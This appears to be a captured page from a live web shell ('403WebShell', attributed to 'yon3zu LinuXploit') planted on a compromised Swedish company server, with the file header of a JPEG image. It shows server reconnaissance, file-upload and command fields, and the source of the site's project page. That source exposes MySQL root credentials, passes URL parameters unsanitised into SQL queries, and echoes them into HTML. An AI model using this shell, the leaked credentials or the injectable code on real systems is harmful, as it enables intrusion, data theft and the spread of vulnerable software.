????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.188.192.62
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/customerzon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/customerzon/project._php
<?php
	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	$ProjectId = $_GET['projectId'];
	
	$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
	$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
	if($UserGroupId == 2 || $UserGroupId == 7 || $UserGroupId == 8 || $UserGroupId == 10 ){
	 $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId";
	}else{
	 $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId and CompanyId = $CompanyId";
	}
   
    $result = mysql_query($sql);
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$CompanyId =  $row['CompanyId'];
		$ProjectName =  $row['Name'];
		$Description =  $row['Description'];
		$RequestedDeliveryDate =  $row['RequestedDeliveryDate'];
		$ProjectStatusId = $row['ProjectStatusId'];
		$InvoiceText = $row['invoiceText'];
	  }
	  	$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
		
	  if($ProjectName == "" && $ProjectStatusId == "" && ($UserGroupId != 2 && $UserGroupId != 8 && $UserGroupId != 10 )){
	  	$CompanyId = "";
		$ProjectId  = "";
		echo("<center><h1>Kunde inte hitta detta ProjektID till ditt konto!</h1></center>");
		exit;
	  }
	  
	  if($ProjectStatusId == 12){
	  	$color = "#FF0000";
		
		$status = $a30;
	 }else if($ProjectStatusId  == 1) {
		$color = "#ffc600";
		$status = $a33;
	 }else if($ProjectStatusId  == 8) {
		$color = "#00FF00";
		$status = $a31;
	}else if($ProjectStatusId  == 4) {
		$color = "#EEEEEE";
		$status = $a35;
	 }else if($ProjectStatusId  == 9 || $ProjectStatusId  == 10) {
		$color = "#0099FF";
		$status = $a36;
		 }else if($ProjectStatusId  == 14) {
		$color = "#9966FF";
		$status = $a32;
		}else{
		$status = $a100;
	 	 $color = "#ffffff";
	 }

?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

<script type="text/javascript" src="calendar.js"></script>

<table width="850" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" background="../images/tabb1.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="5" height="23">&nbsp;</td>
          <td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?page=project&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a60);?></a></div></td>
          <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
          <td width="106" valign="bottom" class="blacklink"><div align="center"><a href="?page=upload&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a50);?> </a></div></td>
          <td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
          <td width="107" valign="bottom" class="blacklink"><div align="center"><a href="?page=download&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a49);?> </a></div></td>
          <td width="22" class="blacklink">&nbsp;</td>
          <td width="103" valign="bottom" class="blacklink"><div align="center"><a href="?page=logg&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a61);?></a></div></td>
          <td width="21" class="blacklink">&nbsp;</td>
          <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="?page=settings&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a62);?></a></div></td>
          <td width="138" class="blacklink">&nbsp;</td>
          <td width="23" class="blacklink">&nbsp;</td>
          <td width="70" class="blacklink">&nbsp;</td>
        </tr>
    </table></td>
  </tr>
</table>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="90">&nbsp;</td>
    <td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top">          <table width="821" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td colspan="4" valign="top" class="text"><span class="heading1"><?php echo($a60);?></span>
                <table width="397" border="0" cellpadding="0" cellspacing="0">
                  <tr valign="top">
                    <td width="398"><span class="heading2"><?php echo($a63);?> <?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)</span><span class="text"><br>
                    </span>
                      <table width="450" height="30" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td width="36" valign="middle"><table width="18" height="18" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" class="textthin">
                            <tr>
                              <td bgcolor="<?php echo($color);?>">&nbsp;</td>
                            </tr>
                          </table></td>
                          <td width="362" valign="middle"><span class="heading2"><?php echo($status);?></span></td>
                        </tr>
                      </table>
                      <span class="text">                      <br>                    
                      </span></td>
                    <td width="57"><div align="right"><span class="textthin"><br>
                    </span> </div></td>
                  </tr>
              </table></td><td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="/customerzon/<?php if($_GET['CustomerID'] != ""){echo("?CustomerID=".$_GET['CustomerID']);}?>"><img src="../images/Back-Arrow.jpg" width="37" height="36" border="0" align="absmiddle"></a> <a href="/customerzon/<?php if($_GET['CustomerID'] != ""){echo("?CustomerID=".$_GET['CustomerID']);}?>" class="blacklinkhuge"><?php echo($a12);?> </a></span></div></td>
            </tr>
          </table>          
          <hr width="820" size="1">
          <span class="heading2"><br>
          </span>
          <table width="820" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="455" valign="top">
			    <?php 
				
				 $sql = "SELECT * FROM ICADPROJECTParametersData Where ProjectId = $ProjectId";
	
   
				  $result = mysql_query($sql);
				  $ProjectParamsData = 0;
				  while ($row = mysql_fetch_assoc($result)){ 
					 $ProjectParamsData = 1;
				  }
				  
				 
				  
				
				
				 $sql = "SELECT * FROM ICADPROJECTParameters Where CompanyId = $CompanyId";
	
   
				 $result = mysql_query($sql);
				  $ProjectParams = 0;
				  while ($row = mysql_fetch_assoc($result)){ 
					 $ProjectParams = 1;
					 
					    if($ProjectParamsData == 0){
							 $ParameterId = $row['ParameterId'];
					  		 mysql_query("INSERT INTO ICADPROJECTParametersData VALUES(NULL,$ParameterId,'',$ProjectId);");
					  
				  		}
				  }
				  
				  
				  
				
				
				
				if($ProjectParams  == 1){?>
                <hr />

				<span class="heading2">Projektparametrar</span>
                
         
          <?php 
				
				  $sql = "SELECT * FROM ICADPROJECTParametersData,ICADPROJECTParameters Where ICADPROJECTParameters.ParameterId = ICADPROJECTParametersData.ParameterId and ProjectId = $ProjectId";
	
				  $result = mysql_query($sql);
				  $ProjectParams = 0;
				  while ($row = mysql_fetch_assoc($result)){ 
					 $ParameterId = $row['ParameterId'];
				 	 $Value = $row['Value'];
					 $ParameterName = $row['ParameterName'];
					 
				
				?>       
                
                  <form action="addProjectParams.php?CustomerID=<?php echo($CompanyId);?>&projectId=<?php echo($ProjectId);?>" method="post">
                    <table width="435" border="0" cellspacing="0" cellpadding="0">
                      <tr class="style6">
                        <td width="167"><?php echo($ParameterName);?></td>
                        <td width="268">
                          <input type="text" name="Value" id="Value" value="<?php echo($Value); ?>" />      
                          <input type="submit" name="button" id="button" value="Spara" />
                          <input name="ParameterId" type="hidden"  id="hiddenField"  value="<?php echo($ParameterId); ?>"/>
                        </td>
                      </tr>
                    </table>
                    </form>
 <?php } ?>
				<br />
				<hr />

                
                
                <?php } ?>
			  
			  <?php if($ProjectStatusId  == 1){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=start"><img src="../images/start.jpg" width="150" height="150" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a64);?></span><br>
                    </div></td>
                  </tr>
                </table><?php }else if($ProjectStatusId  == 8){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=accept"><img src="../images/accept.jpg" width="150" height="150" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a65);?></span><br>
                    </div></td>
                  </tr>
                </table>
                <?php }else if($ProjectStatusId  == 13 || $ProjectStatusId  == 9){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><div align="center"><span class="heading1">                      </span>
                        <table width="430" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=store"><img src="../images/archive.jpg" width="150" height="149" border="0"></a></td>
                            <td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a66);?>
                              </span><br>
                            </div></td>
                          </tr>
                        </table>
                                              </div></td>
                    </tr>
                </table>
                <?php }else if($ProjectStatusId  == 10){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><div align="center"><span class="heading1"> </span>
                        <span class="heading1"><br>
                      <?php echo($a72);?><br>
                      <br>
                      </span></div></td>
                  </tr>
                </table>
				 <?php }else if($ProjectStatusId  == 4){?>
				 <p align="center" class="heading1"><?php echo($a68);?><br>
			        <br>
			        <?php }else{?>
                 </p>
				 <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=stop"><img src="../images/halt.jpg" width="150" height="150" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a69);?></span><br>
                    </div></td>
                  </tr>
                </table>
				
				<?php if($ProjectStatusId  == 14){?>
				<table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=delaccept"><img src="../images/accept.jpg" width="150" height="150" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a70);?></span><br>
                    </div></td>
                  </tr>
                </table>
				<?php }}?>                <p><?php
                
				if($_SESSION['ASTACUS_SSO_INFO'][3] == 2 || $_SESSION['ASTACUS_SSO_INFO'][3] == 7 || $_SESSION['ASTACUS_SSO_INFO'][3] == 8 || $_SESSION['ASTACUS_SSO_INFO'][3] == 10){
				?></p>
				<form id="form1" name="form1" method="post" action="invoicetext.php?projectId=<?php echo($ProjectId);?>">
<span class="style6">Invoice text:</span><br />
				  <textarea name="text" id="textarea" cols="55" rows="5"><?php echo($InvoiceText);?></textarea>
				  <br />
				  <input type="submit" name="button2" id="button2" value="Uppdatera" />
                </form>
				<p>
  <?php } ?>               
				  </p>
                <hr size="1">
                <span class="heading2">              <?php echo($a71);?><br>
                  </span>
                <table width="456" border="0" cellspacing="0" cellpadding="0">
                  <tr class="textthin">
                    <td width="104">14 januari </td>
                    <td width="106">8 mars </td>
                    <td width="115">29 september</td>
                    <td width="130">24 oktober</td>
                    </tr>
                  <tr class="textthin">
                    <td>16 januari </td>
                    <td>23 mars</td>
                    <td>2 oktober</td>
                    <td>13 november</td>
                    </tr>
                  <tr class="textthin">
                    <td>26 januari </td>
                    <td>15 augusti</td>
                    <td>22 oktober</td>
                    <td>18 november</td>
                    </tr>
                  <tr class="textthin">
                    <td>21 februari </td>
                    <td>19 september</td>
                    <td>23 oktober</td>
                    <td>25 december</td>
                  </tr>
                </table>                
                <span class="heading2"><br>
                  </span><span class="heading2">
                                                        </span>
                  <p><span class="heading2">                    <br>
                </span><span class="heading2">                </span> </p></td>
              <td width="17">&nbsp;</td>
              <td width="348" valign="top"><script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
                <br>
                    <table width="342" height="121" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="342" background="../images/platta1.jpg"><table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                              <td><span class="heading2"><br>
                              <?php echo($a98);?>
                            </span>
                                <form action="addlogg.php?ProjectId=<?php echo($ProjectId);?>&type=meeting" method="post">
                                  <table width="251" border="0" cellspacing="0" cellpadding="0">
                                    <tr class="text">
                                      <td width="79"><?php echo($a99);?> </td>
                                      <td colspan="2"><div align="left">
                                          <script>DateInput('orderdate', true, 'YYYY-MON-DD')</script>
                                          <!--<input type="button" onClick="alert(this.form.orderdate.value)" value="Show date value passed">-->
                                      </div></td>
                                    </tr>
                                    <tr class="text">
                                      <td><?php echo($a23);?> :</td>
                                      <td width="78"><select name="time" class="textthin">
                                          <option value="07:30">07:30</option>
                                          <option>08:00</option>
                                          <option>08:30</option>
                                          <option>09:00</option>
                                          <option>09:30</option>
                                          <option>10:00</option>
                                          <option>10:30</option>
                                          <option>11:00</option>
                                          <option>11:30</option>
                                          <option>12:00</option>
                                          <option>12:30</option>
                                          <option>13:00</option>
                                          <option>13:30</option>
                                          <option>14:00</option>
                                          <option>14:30</option>
                                          <option>15:00</option>
                                          <option>15:30</option>
                                          <option>16:00</option>
                                          <option>16:30</option>
                                        </select>
                                      </td>
                                      <td width="94"><div align="right">
                                          <input type="submit" name="Submit" value="Boka!">
                                      </div></td>
                                    </tr>
                                    <tr class="text">
                                      <td>&nbsp;</td>
                                      <td colspan="2">&nbsp;</td>
                                    </tr>
                                  </table>
                                </form>
                                
                              </td>
                            </tr>
                        </table></td>
                      </tr>
                </table>                  
                    <br>
                    <table width="342" height="188" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="342" valign="top" background="../images/platta2.jpg"><br>
                            <table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                              <tr>
                                <td><div align="left" class="heading2"><?php echo($a80);?> </div>
                                    <table width="300" border="0" cellspacing="0" cellpadding="0">
                                      <?php
							     $sql = "SELECT Name, SkypeId, Phone, Email, UserGroup.UserGroupId as UserGroupId
										FROM ProjectSystemUserJoin, UserGroup, SystemUser
										WHERE UserGroup.UserGroupId = ProjectSystemUserJoin.UserGroupId
										AND SystemUser.SystemUserId = ProjectSystemUserJoin.SystemUserId
										AND `ProjectId` = $ProjectId
										AND (
										UserGroup.UserGroupId =6
										OR UserGroup.UserGroupId =5
										OR UserGroup.UserGroupId =4
										)";
									$result = mysql_query($sql);
								  
								  while ($row = mysql_fetch_assoc($result)){ 
									
									$UserGroupdId = $row['UserGroupId']; 
									
									
									$Name =  $row['Name'];
									
									if($UserGroupdId  == 6){
										$Name = $Name .", Astacus Indien";
									}else if($UserGroupdId == 5){
										$Name = $Name .", Astacus Sverige";
									}
									
									$SkypeId =  $row['SkypeId'];
									$Phone =  $row['Phone'];
									$Email = $row['Email'];
								  
								  if($SkypeId == ""){
								  	$SkypeId  = "AstacusDemoAccount";
								  }
	  							?>
                                      <tr class="textthin">
                                        <td width="35"><a href="skype:<?php echo($SkypeId);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($SkypeId);?>" alt="Skype?" width="16" height="16" border="0" style="border: none;" /></a></td>
                                        <td width="265"><div align="left"><?php echo($Name);?></div></td>
                                      </tr>
                                      <?php }?>
                                  </table></td>
                              </tr>
                            </table></td>
                      </tr>
                    </table>
                    <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                    <br>
                    
                    <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                    <span class="heading2"> </span><span class="text"><!--(<a href="action.php?projectId=<?php echo($ProjectId);?>&amp;action=store&amp;info=byuser">Avsluta projektet</a>)*</span><br />
                    <br />
                    <span class="text">*) Kan endast g&ouml;ras om det inte finns n&aring;gra timmar i projektet!-->
                <br>                  
                </span>                  <p class="heading2">&nbsp;                  </p></td></tr>
          </table>
          <span class="style6"><br>
          </span>
          <hr width="820" size="1">
          <span class="style6">                    </span></td>
        </tr>
    </table>      
    </td>
    <td width="90">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit